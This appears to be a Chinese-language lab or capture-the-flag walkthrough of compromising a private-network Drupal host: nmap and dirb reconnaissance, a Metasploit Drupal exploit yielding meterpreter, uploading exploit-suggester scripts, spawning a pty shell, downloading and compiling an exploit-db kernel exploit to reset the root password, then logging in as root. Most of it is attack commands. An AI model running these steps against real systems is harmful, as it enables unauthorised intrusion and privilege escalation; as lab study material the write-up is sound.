nmap扫描全网段,发现存货主机,ip为192.168.85.141
nmap 192.168.85.0/24

nmap 扫描端口,发现80端口,访问该网站
nmap -p1-65535 192.168.85.141


扫描该网站目录,什么也没扫出来 ,dirb扫描目录的字典在usr/share/wordlist,ssh爆破成功的可能性不大
dirb http://192.168.85.141

访问网站1898试一下,发现网站,web常规漏洞不行(sql,弱口令),使用wapplayzer查看网站的中间信息,发现cms是drupa,或者观察网站



5.kali 搜索相关漏洞,一个一个试
msfconsole #打开msf
search drupal #搜索和drupal相关的信息

使用第一个exp
use 1
show options #查看要配置的参数

这个地方yes是必填项,rport需要改成1898
set rport 1898 #设置目标端口
set rhosts 192.168.85.141 #设置目标ip
run #运行
成功获取meterpreter

查看权限
getuid

上传漏洞扫描文件
upload /root/les.sh /tmp/les.sh #上传本地root目录下的文件到对方tmp目录下
upload /root/l2.pl /tmp/l2.plww #上传本地root目录下的文件到对方tmp目录下
linux-exploit-suggester1
linux-exploit-suggester2
这两个文件是漏洞探针文件,是检测系统有没有内核漏洞的
进入shell
shell
非交互式shell

python -c "import pty;pty.spawn('/bin/bash')" #使用python构建交互式shell

进入tmp目录:
cd /tmp #进入tmp目录
ls #查看文件
chmod u+x ./les.sh #为文件加执行权限
chmod u+s ./l2.pl
./les.sh #执行文件
./l2.pl
linux-exploit-suggester2,可以发现2版本没跑出来

linux-exploit-suggester1

利用漏洞,根据脚本给出的地址下载漏洞,下载的格式可能是c++或c,需要用gcc或g++进行编译,还以可以在本地下

下载exp时注意内核版本是否匹配,但是
wget https://www.exploit-db.com/exploits/40839 #下载对应的exp,这个exp运行不了
到网站下载https://www.exploit-db.com/,搜索相关漏洞

一个一个试,上传文件,编译是cpp文件,并运行
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40 40611.cpp -lutil
./docw
更改密码成功

切换用户到root,或使用ssh登录
su root #输入密码
whoami
或者
ssh 192.168.85.141 #输入密码即可

ssh登录成功

漏洞exp:
https://www.exploit-db.com/
https://github.com/nomi-sec/PoC-in-GitHub/tree/master